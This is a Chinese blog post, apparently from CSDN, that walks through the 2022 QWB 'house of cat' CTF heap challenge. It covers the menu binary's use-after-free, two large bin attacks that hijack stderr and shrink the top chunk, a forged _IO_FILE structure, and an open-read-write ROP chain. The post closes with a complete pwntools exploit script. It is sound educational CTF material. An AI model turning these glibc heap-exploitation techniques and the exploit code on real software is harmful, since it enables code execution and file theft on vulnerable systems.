前言:
这篇是hosue of cat 系列的最后一篇,之后估计要停一段时间去学apple1,个人感觉学习的顺序应该是orange -> apple2 -> cat -> emma ->apple1但是实际上学到cat应该就可以通杀了。但是本着学习的态度,还是看看apple1。外一以后需要用上呢。
例题:
这里选的例题是2022强网杯的house of cat,很经典的一道例题。
程序逻辑:
程序是一个菜单的堆题,不过在使用程序的主要功能之前,需要输入一些数据来绕过这个检查,可能自己的逆向能力还得提高吧,这里的检查我看了很长时间并结合网上的exp才弄出来,结论就是最开始输入LOGIN | r00t QWB QWXFadmin去进行登录,接下来每一次调用具体的增删改查功能之前都要发送一句CAT | r00t QWB QWXF$\xff ,接下来才能去执行正常的功能。
功能一共有四个 add edit show delete,不算复杂,具体漏洞如下:
1.edit 函数只能使用两次,并且只能写入 0x30 字节的数据
2.delete 函数删除后指针未清0,存在 UAF 漏洞
3.add 函数允许申请16个堆块,申请的堆块大小的范围是 0x418~0x46f ,申请完堆块后可以向里面写入 size 字节的数据。
4.show 函数只能泄露 0x30 字节的数据
利用思路
- 利用largbin内的堆块泄露 libc 地址和堆地址
- 利用 edit 函数完成第一次 large bin attack 向 libc 中的全局变量 stderr 写入一个堆地址,从而控制 _IO_2_1_stderr 结构体的各个字段
- 第二次 large bin attack 去篡改 top chunk 的 size 将其改为非法(要往小了改,因为只有 top chunk 无法满足要申请的 size 时,才会触发 sysmalloc) 注意 large bin attack 想将 top chunk 的 size 改小的话,需要地址错位
- 申请一个堆块,此时执行 __malloc_assert 触发攻击
利用largbin内的堆块泄露 libc 地址和堆地址
#泄露libc和heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))
利用 edit 函数完成第一次 large bin attack 向 libc 中的全局变量 stderr 写入一个堆地址
add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')
第二次 large bin attack 去篡改 top chunk 的 size
add(7,0x430,'flag\x00')
delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))
完成攻击
add(10,0x450,'flag\x00')
结果:
完整exp:
from pwn import *
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p= getProcess("ctf.qwq.cc","10016","./houseofcat")
elf = ELF("./houseofcat")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
'''
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size).encode())
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
#泄露libc和heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))
stderr_addr=libc_base+0x7f04ef532860-0x7f04ef318000
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall = libc_base + 0x11ea3b
#close
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(heap_base+0x55b23e8c93f0-0x55b23e8c8000+0x10)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open
rop+=p64(pop_rdi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# flag store address
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(write_addr)
io_wfile_jumps = libc_base + 0x2160c0
fake_IO_stderr=IO_FILE_plus_struct()
fake_IO_stderr._lock=heap_base+0x559fa1786290-0x55a33d39c000
fake_IO_stderr._wide_data=heap_base+0x55cbc30c73d0- 0x55cbc30c6000
fake_IO_stderr.vtable=io_wfile_jumps+0x10
fake_IO_stderr=fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0,#_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:libc_base + 0x21ba60, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:heap_base+0x55cbc30c73d0- 0x55cbc30c6000, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:io_wfile_jumps+0x10,#vtable
})
fake_IO_wide_data=flat({
0x0:bytes(rop),
0xe0:0x55810b78b4b0-0x55810b78a000+heap_base,
0xf8:libc_base+0x000000000005a170#0x000000000005a170 : mov rsp, rdx ; ret
})
'''
fake_IO_wide_data=flat({
0x0:[libc_base+0x000000000002a3e5,#pop rdi
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
0,##
libc_base+0x0000000000108b03,#libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0,
0,##
0,
libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
2,
libc_base+libc.sym["syscall"]+27,
libc_base+0x000000000002a3e5,#pop rdi
3,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
0x100,
0,
read_addr,
libc_base+0x000000000002a3e5,#pop rdi,
1,
write_addr,],
0xb0:0,
0xb8:0,
0xc0:0,
0xc8:0,
0xd0:0,
0xd8:0,
0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,
0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
'''
add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')
add(7,0x430,'flag\x00')
delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))
pause()
add(10,0x450,'flag\x00')
#pause()
#add(11, 0x420, 'a')
#pause()
ita()
标签:p64,libc,house,pop,cat,base,heap,rop,浅析 From: https://blog.csdn.net/2301_79327647/article/details/141193125